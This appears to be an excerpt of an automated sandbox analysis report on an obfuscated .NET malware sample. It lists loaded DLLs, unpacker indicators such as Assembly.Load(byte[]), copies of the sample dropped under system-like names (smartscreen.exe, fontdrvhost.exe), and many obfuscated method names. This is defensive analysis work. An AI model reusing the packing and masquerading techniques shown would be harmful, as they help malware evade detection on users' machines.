Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: profapi.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: cryptsp.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: rsaenh.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: cryptbase.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: 13ZNp2xvRU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 13ZNp2xvRU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 13ZNp2xvRU.exe, hNssXtdlcy8emRTei3J.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 13ZNp2xvRU.exe, HGhn2OuaYhviLuGlTpE.cs	.Net Code: OZiQZOSWDp System.AppDomain.Load(byte[])
Source: 13ZNp2xvRU.exe, HGhn2OuaYhviLuGlTpE.cs	.Net Code: OZiQZOSWDp System.Reflection.Assembly.Load(byte[])
Source: 13ZNp2xvRU.exe, HGhn2OuaYhviLuGlTpE.cs	.Net Code: OZiQZOSWDp

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Code function: 0_2_00007FFD9B892C18 pushad ; retf	0_2_00007FFD9B892C81
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Code function: 0_2_00007FFD9B892C58 pushad ; retf	0_2_00007FFD9B892C81
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Code function: 0_2_00007FFD9B892C78 pushad ; retf	0_2_00007FFD9B892C81
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Code function: 0_2_00007FFD9B892C68 pushad ; retf	0_2_00007FFD9B892C81
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Code function: 28_2_00007FFD9B892C04 pushad ; retf	28_2_00007FFD9B892C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Code function: 29_2_00007FFD9B892C04 pushad ; retf	29_2_00007FFD9B892C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Code function: 30_2_00007FFD9B8B2C18 pushad ; retf	30_2_00007FFD9B8B2C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Code function: 30_2_00007FFD9B8B2C58 pushad ; retf	30_2_00007FFD9B8B2C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Code function: 30_2_00007FFD9B8B2C78 pushad ; retf	30_2_00007FFD9B8B2C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Code function: 30_2_00007FFD9B8B2C68 pushad ; retf	30_2_00007FFD9B8B2C81
Source: C:\Windows\twain_32\Registry.exe	Code function: 31_2_00007FFD9B892C04 pushad ; retf	31_2_00007FFD9B892C81
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B872C18 pushad ; retf	32_2_00007FFD9B872C81
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B872C58 pushad ; retf	32_2_00007FFD9B872C81
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B872C78 pushad ; retf	32_2_00007FFD9B872C81
Source: C:\Windows\twain_32\Registry.exe	Code function: 32_2_00007FFD9B872C68 pushad ; retf	32_2_00007FFD9B872C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Code function: 33_2_00007FFD9B882C18 pushad ; retf	33_2_00007FFD9B882C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Code function: 33_2_00007FFD9B882C58 pushad ; retf	33_2_00007FFD9B882C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Code function: 33_2_00007FFD9B882C78 pushad ; retf	33_2_00007FFD9B882C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Code function: 33_2_00007FFD9B882C68 pushad ; retf	33_2_00007FFD9B882C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Code function: 34_2_00007FFD9B892C04 pushad ; retf	34_2_00007FFD9B892C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Code function: 34_2_00007FFD9B890028 pushad ; iretd	34_2_00007FFD9B890029
Source: C:\ProgramData\smartscreen.exe	Code function: 35_2_00007FFD9B892C04 pushad ; retf	35_2_00007FFD9B892C81
Source: C:\ProgramData\smartscreen.exe	Code function: 36_2_00007FFD9B8A2C18 pushad ; retf	36_2_00007FFD9B8A2C81
Source: C:\ProgramData\smartscreen.exe	Code function: 36_2_00007FFD9B8A2C58 pushad ; retf	36_2_00007FFD9B8A2C81
Source: C:\ProgramData\smartscreen.exe	Code function: 36_2_00007FFD9B8A2C78 pushad ; retf	36_2_00007FFD9B8A2C81
Source: C:\ProgramData\smartscreen.exe	Code function: 36_2_00007FFD9B8A2C68 pushad ; retf	36_2_00007FFD9B8A2C81
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 37_2_00007FFD9B872C04 pushad ; retf	37_2_00007FFD9B872C81
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Code function: 38_2_00007FFD9B882C04 pushad ; retf	38_2_00007FFD9B882C81

Source: 13ZNp2xvRU.exe, tvKalPXWlyrHNMycWj3.cs	High entropy of concatenated method names: 'iZP5en64al', 'B4q5Ki0MYR', 'J3r5WJkVxl', 'SNO5clcC5V', 'OBk5hoXH73', 'g2x5bQvtGX', 'uCV9HwJgVxdxfKcXmwt', 'JoUhxVJn5VXDBo033FR', 'JTmqwOJwlSSMPd2gQOg', 'Ivin2rJ4kIQBFbKjMOp'
Source: 13ZNp2xvRU.exe, BlrwB9inproES0LnlC.cs	High entropy of concatenated method names: '_3C3', '_7WJ', 'S9L', 'B28', 'u1sKEBlc4', 'EqhAu7agdNUu6DxGBcI', 'Qnkthka4MIGAluxEM7u', 'Q3pT4iaCbiscfeZWbit', 'OUPSs4aIDgb1gQBXkPi', 'mwUaS4aWNf6eUqFgOnr'
Source: 13ZNp2xvRU.exe, MXbcoiBrxrEffSBw7uQ.cs	High entropy of concatenated method names: 'FM9YTGg8Jy', 'J7lYFw8mfP', 'OOt', '_8Md', 'qrX', '_1N5', 'x8o', 'xZTYBMfHnr', '_2m4', 'v4c'
Source: 13ZNp2xvRU.exe, nj3MPWjaJ28dCMRiNkQ.cs	High entropy of concatenated method names: 'xwh', '_7WJ', '_4o3', 'B28', 'lTuIwNp67OcoO8brSG1', 'YnWfgcp1GyDvW7X82Fa', 'kYsxHmp7vyyZxHhFpci', 'fCoEgspKRGEOyYQRjYN', 'UfD55vpuGdNkelVcID0', 'vZEaWppDr3aaSvl2avF'
Source: 13ZNp2xvRU.exe, jhHvR1WsKgM3opA5iHF.cs	High entropy of concatenated method names: '_56e', '_248', '_86A', 'vj4', 'W5n', 'QmBZvIxhgL', 'vtDZIg7hVY', 'a6B', 'Khk', 'H1w'
Source: 13ZNp2xvRU.exe, PJVmlcjbX4QTIyj3IFn.cs	High entropy of concatenated method names: 'Tws8cRjv8K', 'FbA9Tk7ExrsdiwFZXMt', 'CV0NLv7Ffnc3MDL1yDU', 'NMwZKt7lvso4pPRruu1', 'rVM2bl7aFxyiqGR5PFp', 'GLSu5k720c5Kgu3Nune', 'spkFkf7b1D5IRIHYo6K', 'gVoOJT7pMVLbY19ljjw', 'km98bcpy4M', 'CEqbys778lF9snOG7Bp'
Source: 13ZNp2xvRU.exe, wimiVAWfIpVv84ItIFw.cs	High entropy of concatenated method names: '_364', 'vEIrsaZ15h', 'Uoqrj5mLVC', 'a7DrLBs4ot', 'NKrriBfTrI', 'jctrVCGFDC', 'ajnr6IS5Ee', 'sqDt0HOxDbEWK4H7grZ', 'EDYnf2OGdPwUbttAkbp', 'mGKelIOOYhxe9eSdp3g'
Source: 13ZNp2xvRU.exe, cXOfw8tVe0IHSaKJRpg.cs	High entropy of concatenated method names: 'eO1FN9dFjb', 'Pd2OkmT4cTvHtLJVY5r', 'eYGiQuTCfJmt3DO4gnC', 'UPvPbuTwT7lhpBq3elL', 'EAJodyTgkCDTpn6cOUJ', '_8e5', 'oSST3X3HF5', 'E75', '_2e1', '_127'
Source: 13ZNp2xvRU.exe, dOGmwujMvSkoyJ2naHn.cs	High entropy of concatenated method names: '_88F', '_7WJ', '_461', 'B28', 'IBWUXC6PHqGGxBPqcH5', 'iSuZxk6OOBKap4CfN8H', 'qJ0Zhi69MBa23foZVNG', 'SEy1ya6xlysm112tMe4', 'aQQkyD6GxGjBBR9DLP5', 'VXerxd6drOXCMp59Fqy'
Source: 13ZNp2xvRU.exe, d4TVJnti2w5jPCRjdjt.cs	High entropy of concatenated method names: 'uDUwRLT7PnEYqyh9ixp', 'gfkUPSTKXoQWThvlfdJ', 'my7gVgT6uCGQoD0DNsn', 'mnfVchT1dfs6sH1pSTc', 'OvQfO1Rams', '_71i', '_951', 'zeYfEPdhpl', 'P8Rf4X06WN', 'jIkfNEetwh'
Source: 13ZNp2xvRU.exe, NgMI7vzwfcNCBxRZEt.cs	High entropy of concatenated method names: '_4W2', '_7WJ', '_6R7', 'B28', 'HZ19DxbFoZS6ooGLHoc', 'fOl52Ob2NXDvoMcjZ6n', 'yoAGLTbbZ5ELiMaG2a4', 'h92ctebpV8kjFhBklnt', 'U2Oic9b6Zp4v07ro7Ef', 'IiNuT6b1HlIUPcvDxaA'
Source: 13ZNp2xvRU.exe, oMpYJej660nprqfZLTq.cs	High entropy of concatenated method names: '_13J', '_7WJ', 'G8c', 'B28', 'XDL3PQKntfBgFWTpEjo', 'D9MQFoKwjidA88WLPDN', 'MBAnlEKgf2qZMdK0WPR', 'TS7CvdK4YdBkpIFcAoe', 'Tnu9a1KChws2UW7XCf0', 'mp5p6iKIfAR0esr2NIH'
Source: 13ZNp2xvRU.exe, xtXItKtMp3ov5XIgunH.cs	High entropy of concatenated method names: 'VtYyjtGBim', 'uj7yLg6j7H', 'IIeyiSC7pA', 'b3iyVcbt6t', 'hlyy61UZ7X', 'rnGQVr0ah07lsoxpIxt', 'rHL0iD0EyJwv8RfMVLg', 'od6jCq0FSDMCoU6BUPy', 'Rmt8GX02N53yEta4bjF', 'oJO0qQ0bZI2UBrgYDsh'
Source: 13ZNp2xvRU.exe, p6yaTjXQsgd19nU1uE8.cs	High entropy of concatenated method names: '_348', '_55c', 'F36', 'fx1EpTrAPt', 'm71EmJfcHR', 'xN75PK3XAsIjsPpkiHi', 'I0HB1N3jnUbL8RD9lw2', 'cjPMwI3nar8U1i7Doo7', 'P41ajs3wyaUYClClyFi', 'l6asV73gOuUWK5UQkoy'
Source: 13ZNp2xvRU.exe, mDO901jXfwsllKoTGob.cs	High entropy of concatenated method names: '_732', '_7WJ', '_1t4', 'B28', 'LR245hbXlgu65LlfBYZ', 'vDFj9Sbj4T7tMGu8iyb', 'd3LCbCbnuNr6SGuryFT', 'dcnWWXbwsShBmLYuVig', 'a2rRXSbg8DJyY1u5m7G', 'oEQneOb4RA8LCHhpuJf'
Source: 13ZNp2xvRU.exe, lOaQJEtFbq8pvvoWP4X.cs	High entropy of concatenated method names: '_9Xh', 'pA2', '_5v5', '_4m5', '_1I6', 'ynJ', '_15m', 'V8n', '_753', 'c15'
Source: 13ZNp2xvRU.exe, o6omdj6xRGs6lBrFyr.cs	High entropy of concatenated method names: 'P1z', '_7WJ', '_5Ch', 'B28', 'eYvNXv2rkLvyPXla5Xf', 'XqpAbF2sBtBAgy72frE', 'Q9Im8e2er3j8uaUBB1d', 'oLytJd2AYAaf1plVvtW', 'YTvAfs2LpmgiZUZ7MtX', 'tFbNQp2JFhhqVx9I4Tf'
Source: 13ZNp2xvRU.exe, V4SIWCjvx6lNNwB0THN.cs	High entropy of concatenated method names: '_5X2', '_7WJ', '_4ws', 'B28', 'U1NcDEpS1hbKDA6KnLI', 'dnGHoupc10jM2NNRnrg', 'N53kQopysnwJkmpSeRZ', 'AQRYs6pHJZxvRQMEKaI', 'RuuA5VpfZ7mrkxflhDn', 'brTHFXpYQ58cNZWpDc6'
Source: 13ZNp2xvRU.exe, CZnOa5WIcS0XJim8lVH.cs	High entropy of concatenated method names: 'Jr6nDQ9GyP', 'C5qnOyGHBC', 'YcKnEVPs7X', 'Pjun4npWqA', 'Xm4nN01hci', 'J3yFW69McR87GPZxtFJ', 'iabp8j9V8WNsY21nB6e', 'dTxhR693IXpnBf78l4y', 'Afn7iy9P3S8IcXtrdVC', 'W2uB1N9OSp9LJLYLEhK'
Source: 13ZNp2xvRU.exe, E73obGjZRoOJkOvB8PM.cs	High entropy of concatenated method names: 'X4aks2lWwx', 'xp5gGEupn6RjEPLEA2M', 'SEutefu6X26BCwoiQha', 'S8DCC7u2NVS99anQnR4', 'itHKxGubFDS12pikece', 'iQKZBGu15sxHwxwLLgd', 'W21', '_7WJ', '_294', 'B28'
Source: 13ZNp2xvRU.exe, eosSqWQYV0QfjCLQjD.cs	High entropy of concatenated method names: '_695', '_7WJ', '_472', 'B28', 'rUkQGX2b6LFVXWtAuR9', 'HaeScb2pxTv2HqCdww0', 'OGqrwO26Cc61WiMhmj0', 'srSR00214yTX5lMCOMa', 'HxfLSU27gi16wSfcwB0', 'jcHPjw2KmJwM3hmuXpN'
Source: 13ZNp2xvRU.exe, jNGISTtIjxDByGhAFlt.cs	High entropy of concatenated method names: '_518', 'E6y', '_17E', '_79s', 'XCq', 'vm2', '_5yr', 'dlO', 'Q7M', '_59C'
Source: 13ZNp2xvRU.exe, HhDVx1u1vEbfgZRFGRV.cs	High entropy of concatenated method names: 'IINQPEna6C', 'AiX9TAt6WY8HDimsbtv', 'waxCeft1HjPtE5DESkn', 'ghvdhJtbt2bJpu4Wb4P', 'TpPjwTtp4ka0NP2A7NU', 'f5CKN7t7Xoec15sxZRR', 'r14JZUtKjSf0C9WsnUD', 'ylB6RltuYhJoXy5Wi7x', 'IriNZXtDfG0yUMyXlnO', 'oyxXuMtU64dAslSqKoo'
Source: 13ZNp2xvRU.exe, noWTdl9BeDxg9tKaek.cs	High entropy of concatenated method names: 'sd4', '_7WJ', '_2zX', 'B28', 'W5TWMkFA9YupjVikt94', 'K4tIUYFL7ZwUKcaDYEG', 'hu1WB9FJrAv3bvMpLkl', 'R2XTWbFRKfMMXhpsoU7', 'ebOPUTFhq7phff1oDsa', 'EvTp34FikonoV68W0xf'
Source: 13ZNp2xvRU.exe, NVagX3jmTiPRpyIL7Ds.cs	High entropy of concatenated method names: '_84K', '_7WJ', 'dM7', 'B28', 'APpZMb1CnwpaWRqjRT3', 'lXQ9a21ITgYmD8YLJHj', 'HfPKCH1WKEE61b130qJ', 'wTateO189bce4RNt3Ff', 'fuFPuk10lBnjlbVq3vq', 'u1Aodg1BGB91Kk7mCGG'
Source: 13ZNp2xvRU.exe, hMWbcqX4KjMGYFYmY4q.cs	High entropy of concatenated method names: 'zco2mrQc0W', 'odL2DdbmjJ', 'HpShGwV3L7ZW19MoJG0', 'ml9VBvVMOxW7JipbmFi', 'awXRUtVi11hycZ15XKn', 'cFuQMDVV7pQPIVU2NeL', 'FgAE7PVP3ge51REVp49', 'SJ4FykVOxSTMyVHh93d'
Source: 13ZNp2xvRU.exe, NQpXE2jQTBUvgBL0vJ3.cs	High entropy of concatenated method names: 'J96', '_7WJ', '_95G', 'B28', 'zAMvGJKiWh5PuNVPMMn', 'wyf3LoKV97VdjPpiYXv', 'o1UyflK3aGCfuAL4hYM', 'LrSc5FKM93rqqLTNBbS', 'OEoHG7KPJDVumwhRv3f', 'kCDDsqKO4ZxlJ2d650I'
Source: 13ZNp2xvRU.exe, WVZSPmjj8T0D1VMWx4S.cs	High entropy of concatenated method names: 'sf4', '_7WJ', 'xcX', 'B28', 'hmsNxJbRWDs5yUnJQEZ', 'b9w7EabhQBYm0PKiHXh', 'BsRTpnbiPQc9QZRR8ME', 'febojlbVpINuf0O9q0q', 'b7OiU2b3ogRK5vDDiLk', 's8HamqbMHnJYyRqmIP1'
Source: 13ZNp2xvRU.exe, vsvUHGtmWLaT2Flhpm4.cs	High entropy of concatenated method names: 'EZcf2QiMfs', 'KhtfqupGAM', 'PS1f1cL94j', 'U1s', 'yYS', '_79P', '_5lh', 'j46', 'J63', 'wC9fMdiSa4'
Source: 13ZNp2xvRU.exe, iWbxFcurv6a7dSqCRqn.cs	High entropy of concatenated method names: 'i2s5Yvaf1u', 'RLPr3uLHpNxNwgmNaTm', 'aOpZ3kLcZLMEgeS0Gu0', 'fWHsuSLyslZ5CCo5jw1', 'JwnnUMLfXMA7K1fxxac', 'UyAmMZLY1Rmw6m3lexR', 'Wse5AGBLmH', 'a7R5stH6H2', 'tt35jluWe3', 'ujO5LlwX67'
Source: 13ZNp2xvRU.exe, yuRl4HBLgDmJc9DEPEw.cs	High entropy of concatenated method names: 'LJGY7YteU2', 'Rnko6gIaAXsLgCTK5RK', 'iJdynaIo67DiD6OdkCh', 'IDUN9yIlTI03xeAY17N', 'q8ygSSIExoOKMcF84JT', 'wMEtXSIFG1f17hySdBp', 'Om0PF4I2u8wr2GAlI0k'
Source: 13ZNp2xvRU.exe, weV7qmWBXfUuiNkxkyy.cs	High entropy of concatenated method names: 'jPTMtgaHJ2', 'bYfwfYP3RMkuS5qE41F', 'w187WwPMAKpMsU8yZfQ', 'RnbDM5PiXaIX2IhpH73', 'if7aPmPVlydSoE26LQZ', 'QZmqxFJIcJ', 'zUZqu4EvMa', 'MkZqmrlK1O', 'Xr5qDe33J2', 'Rw5qOVchKi'
Source: 13ZNp2xvRU.exe, UhTkskBCQGdeI2p01jD.cs	High entropy of concatenated method names: 'yCQYSuc7Du', 'VGSYJ2Z1KI', 'GeTYlQV8ZQ', 'NLKY5Yj0L9', 'g8GY0px6a9', 'CFqY2xnKSM', 'glIYqKBVjG', 'TPoY1avik6', 'QVQYMeJabP', 'n1yYruf8TW'
Source: 13ZNp2xvRU.exe, HGhn2OuaYhviLuGlTpE.cs	High entropy of concatenated method names: 'dMQQmNILVO', 'v6BQDlVl7s', 'q0lQOnccSc', 'f88QEJLjUx', 'DVxQ4LAqKx', 'EDjQNcBkIR', 'kfXQajPyIF', 'vXS1t6UGqYMO1iTIZSm', 'U4jHRPU9hHLwpNJLEgB', 'k82rc2UxHTJtsJt6Phh'
Source: 13ZNp2xvRU.exe, GklpEljg8LmCoeKIlom.cs	High entropy of concatenated method names: 'lAW8HYoo68', 'tKWVB57IyrEWPusUGoE', 'E0NSfn7Wr7RUHEKax1I', 'Y88g1T74PTgAb4QVVtp', 'iPuRVf7CJTUIKnpXsQM', 'VA4ITi78IIliNZ407l2', '_314', '_7WJ', 'IO3', 'B28'
Source: 13ZNp2xvRU.exe, rqY1MtdZJWpj9CFHYU.cs	High entropy of concatenated method names: 'bK3nXYliO', 'tRtEfUn2asa5ahiXeJ', 'GfkLpxX1PeyDxjZgfe', 'AZTkKfjTaya6weyQQE', 'lHhyMIw03P5UBnv1y1', 'xxf9TSgwI1LIbZDxcP', 'nArkugTtT', 'THVQQtp7L', 'HtBSuf0ql', 'ULDJJMafo'
Source: 13ZNp2xvRU.exe, oe592TXZwRobY6fD1sL.cs	High entropy of concatenated method names: 'T9osWSMTYBbKJoT9cd2', 'tGBUSaM51pc1LEVaDqI', 'wsV8x9M08iNKTwSglp1', 'pHXWxEMBUVAg175AcX5', '_26G', 'z33', 'chBqtdNGGu', 'Xowq9CXvFk', '_987', 'lbjqAJq0f6'
Source: 13ZNp2xvRU.exe, dUaIiEj704Ma889PCeY.cs	High entropy of concatenated method names: 'vJ68BL8gie', 'YHExdq6LN4pbAn40rHb', 'JRYJrR6JqEk0MYFrAi1', 'R1lcqU6es3lcpl6dlAe', 'p51I7D6ArEWurEUBoVD', 'ClDkIi6RH1eiVSSoObA', 'aeQfRi6h3F8iXkbICQr', 'JZ8TPO6imr5UPwVu269', 'r685P96VhkNYJvAfHao', 'K9F'
Source: 13ZNp2xvRU.exe, PpJUgBBXf6NTdZwcDYV.cs	High entropy of concatenated method names: 'eXTK8anxlT6A1nmwwMO', 'x7j3vbnGkXONbVkPDiP', 'hEZLgHnOdapa909s06j', 'lfThjOn99oJyo6oB6Lh', 'RdKjGX6pKe', 'dovgfqnjoEqtWraJBJy', 'oWZ0v2nnbo0ohDhoGYG', 'JOM5tJnddFZI1fXCkuW', 'h3ps6NnXJ5PnbXx4H37', 'yLD8Lxnwu3jsZlvMjSN'
Source: 13ZNp2xvRU.exe, z5tHANufSAY6OfltTrS.cs	High entropy of concatenated method names: 'PHYQzGUJjc', 'QlWS7Ulmr1', 'UEgS8E7qoT', 'AP9Skrkn74', 'QmnSQwCoOY', 'q6WSSY6HTZ', 'R75SJLKLu6', 'hQSSl3OEjP', 'QxlS5OcNJJ', 'uLBS0h0yyw'
Source: 13ZNp2xvRU.exe, ArrL1Nug0Hr5yj68kmG.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'pD7JOia93I', 'BAwJEuC7wl', 'yRuJ4kwg8M', 'Nf7JNUcvhD', 'MeXJan7XhE', 'smrhLVAt62CL4JrnasA', 'iZkyJqAr7l2fxMvUtms', 'GhmpxyADMZXCroZMLFZ'
Source: 13ZNp2xvRU.exe, YwNCq4e5Ztjf1nlRII.cs	High entropy of concatenated method names: 'a2n', '_7WJ', 'Xk2', 'B28', 'IfkocKFTni7MwCMK4QK', 'zWokcpF5trIjlbQJKPP', 'KAMeNKFQJ6Ct1ybNS4i', 'IobXVRFZLwNgGQiHqEq', 'mCsL3HFkkYofEjT28hZ', 'WsS2ZBFvVnNWNXYZZsd'
Source: 13ZNp2xvRU.exe, ev3I8PXvIwN2FJnRDf7.cs	High entropy of concatenated method names: 'gCA0COLk5g', 'A8b0d0mRrq', 'pC303B8TZQ', 'TcttL5hNYLCu6na0DKV', 'rEXsmXhqf8JVSan35N3', 'RPALuthStPn6x6PalAE', 'cCDsjAhcmx3XkwDeQyO', 'TcMhinhytQsdQp67x95', 'u1M1wMhHJAoq6wjSPhW', 'eB8rUyhfbPXiUYTJFxZ'
Source: 13ZNp2xvRU.exe, ahfOx3XHOLRsN3lGAel.cs	High entropy of concatenated method names: '_8o8', 'AhVIHVhiI2D6PFWh2O3', 'arldkqhVbux2kWKmI2O', 'amCAm8h3lV8b855ScXD', 'fejwmqhMtioEqr4DkNM', 'WscPkLhPfiActRaUtXj', 'ssccBMhODFsa1BS8QtQ', 'OT5KsDh9Vx3uO8jJm0Q', 'YYwV5dhxocnR0wtw3gH', 'zgVXbnhG6r1o1AXy3jK'
Source: 13ZNp2xvRU.exe, cGX877WZ5ouimfI8Cii.cs	High entropy of concatenated method names: 'p6VvYPPome', 'bkGvfaagGk', 'knhvnRAMKU', 'HUkvZVxohV', 'yuYvv57yYE', 'mmYvIrwwmQ', 'ne5vtqsjag', 'eXrv9VNjwq', 'SjavAHUF8f', 'vASvscilGB'
Source: 13ZNp2xvRU.exe, b2IoFZXEoEPUUGCLGe9.cs	High entropy of concatenated method names: '_9Yl', 'SG9EKZnYD4', 'xy02HAOGOa', 'pTiE4TPg3V', 'NP94OLVcW5LPKXUQ7j7', 'AxqU0mVy6R5wAxmCNFQ', 'XsCytWVHe4Jx7P6lC6Y', 'SyuKkgVqecrL96H2aaj', 'JL6tFOVSBIIx6tdOBTt', 'ULO4jNVfh3RXCrmNvvn'
Source: 13ZNp2xvRU.exe, lIdARqWU48CL2nX4LRk.cs	High entropy of concatenated method names: 'PYIrDkE6hQ', 'tsyrO91W8g', 'U3orEckY1L', 'YjBr4IgiwD', 'wZNrNpPmdY', 'I4rguGO0cTmp9LZUuak', 'Wv7oLbOBiIHCBvSmWcf', 'zck61iOWihKtZPoWBPp', 'tA3WpYO8Oay8j6BpyUH', 'W3MS5uOTcwqM4ehMt83'
Source: 13ZNp2xvRU.exe, ehkEl3XxabCgvq0jWmn.cs	High entropy of concatenated method names: 'p6T0DQ3Dl3', 'yn80OykCvj', 'XML0ErlPEb', 'ovwpgAhLkFJyNK9RvPW', 'UMy8oyhegv4e0Gbk2Td', 'wWIP57hAyebY6ylZoSZ', 'rHLet8hJ73vpRsVU75C', 'SH60vFLuMB', 'bMv0II3miC', 'RdE0tk4xW6'
Source: 13ZNp2xvRU.exe, K50olGumZlig3LTRhIx.cs	High entropy of concatenated method names: 'xdXSHnVRM0', 'lkuSoT0yVc', 'QuwSzVTTQw', 'JlDJ7NbHnq', 'Lf3J81ZrPM', 'qgGJkWvxfS', 'FAdJQ8X8Wx', 'XgiJSnKHPc', 'wubJJXSwRb', 'PDNK6WeoAJC2e6GhEcV'
Source: 13ZNp2xvRU.exe, JC11l6XeScfh7BX9sH2.cs	High entropy of concatenated method names: '_2P7', '_79b', '_16R', 'khDqSLo0IZ', 'J63EZt6aqf', 'KX05si3LSP1NeILvpmE', 'bbL10t3JyfC7f5HEC7M', 'Gg5Cux3RI6dNlfov4BB', 'sSgMb03hnMsFrmQRwZY', 'PxFfSn3iNuOCG6gdt67'
Source: 13ZNp2xvRU.exe, l1vv0HuuBNAnnykqB3F.cs	High entropy of concatenated method names: 'AGUkb6HBrk', 'PLikCTAuoK', 'pJJkdNpMq3', 'bkik3jQiJI', 'udSkUMkSuG', 'SQukRL3bmH', 'lrXrVPDJtGkQj9V3XGB', 'qmYnCXDRhSa4bMAbNDq', 'uLPorODAyt70rBJUR8r', 'RAtcuuDLsf25yTpjh4R'
Source: 13ZNp2xvRU.exe, E48XwutTRAr7kVCZjkw.cs	High entropy of concatenated method names: '_6u4', 'mQ9', 'NtfyGBpkWD', '_639', '_132', '_775', 'OOV', 'F1i', 'M4T', '_7dM'
Source: 13ZNp2xvRU.exe, AwtL5JdF3eLjAxZ1V4k.cs	High entropy of concatenated method names: 'jAfuGTCkmI', 'iPBuYMsrCb', 'vKguy5BuBL', 'oDXuf7269C', 'mVAuTJCcRM', 'MrxuFAm8Wl', 'trBuBlKJQI', 'iZQuxjw00F', 'efluuoXyFe', 'mmRumjqlYG'
Source: 13ZNp2xvRU.exe, mXafW9jHugomRthVA3W.cs	High entropy of concatenated method names: '_16M', '_7WJ', 'QAc', 'B28', 'XWXAaSpxJZoM6fghufP', 'nxYUnwpGbLRQhdkmJFB', 'DNbcRjpdGDAt00a5BtC', 'DVm2XApXsoJAwfjBZMG', 's08r61pjujM7Bam9SCN', 'MNT5sSpnCf9FAa3tw2O'
Source: 13ZNp2xvRU.exe, x0ran5jT4FZ7bbJW2yZ.cs	High entropy of concatenated method names: '_4wN', '_7WJ', '_526', 'B28', 'ich0A564xjGEPMqIXKN', 'eEw7yi6CPBTOe7C72kZ', 'B6vDrH6IlZnTFHFXLMQ', 'aQZHNP6W1HDjPDnxncP', 'IIIBgh68hxUUnZdkof7', 'k0AGjT60DHjf2XfXsng'
Source: 13ZNp2xvRU.exe, yRmZgUuNfosiB7VxFiG.cs	High entropy of concatenated method names: 'BmTl0UjHlX', 'Emvl24QsZs', 'KdKZRWLoDFj7cHHoiu7', 'Bqfi7sLl3EK6r25jyuo', 'OIkkH5AYbaDFHDKo2ZF', 'rrPUDmAzNWdH6opFuYN', 'BWRltbjYKm', 'hasR9tLbV8SAUo8RYN6', 'o9lGcsLpDe7qcdqgECM', 'znsHImLF9l8TjJtXUaQ'
Source: 13ZNp2xvRU.exe, Ofo6pYBayMXA6vZu8Li.cs	High entropy of concatenated method names: 'cLaGjCF0Lu', 'tD1GLErkvf', 'eYYprN4z47pDrK4M1pJ', 'dwskyACops9Je0P9Zb5', 'jUPC6iClrkEL545uG3l', 'tUBJY0Cado57JU3McDf', 'apiwe6CEebUd09PpAWe', 'Et7mcOCFDlIDDxTUWA9', 'fO1xopC2ZfUwtlbvAqA', 'ykEsgsCbZK1H6UHvCEZ'
Source: 13ZNp2xvRU.exe, UGEZ28BDOWAQTkQtXsf.cs	High entropy of concatenated method names: '_793', '_19i', 'j2m', 'B9XY63PIac', '_91O', '_7x6', 'F7G', 'ReP', 'cA7', 'ATW'
Source: 13ZNp2xvRU.exe, OcgEEwjp5bsTuOubkpd.cs	High entropy of concatenated method names: 'o00k87dkej', 'CYIkkZVHNi', 'PWCkQT8d1c', 'rKsrgC7qWHs56rVccel', 'BlDGm57SR2dAA6AyxgA', 'JMSmfl7m9JgKMPwGxuU', 'lKgs0H7NXFlq6l3OlKj', 'q6j7kH7csywY7u3XpVH', 'dSmWQQ7yWW2yYoj8etZ', 'PMGDMp7Hn2bNeiPan1N'
Source: 13ZNp2xvRU.exe, RAYX1jBbQRkIlhttTqZ.cs	High entropy of concatenated method names: 'RQpGbHwKif', 'XeMGCTE37j', 'oNsGdynT6y', 'F2EjqJCZ9WLMmeKw8HS', 'V1Km4AC5tqhJFs7b0ep', 'V5yIZbCQ2HTqNUIx4IK', 'i1NNgXCkLT8VxKtN5CA', 'M6aKAtCvOR4ws8OSByD', 'VlW282CmxCZ8H9MakkD', 'xFx74ACNEjHZHPPe7MD'
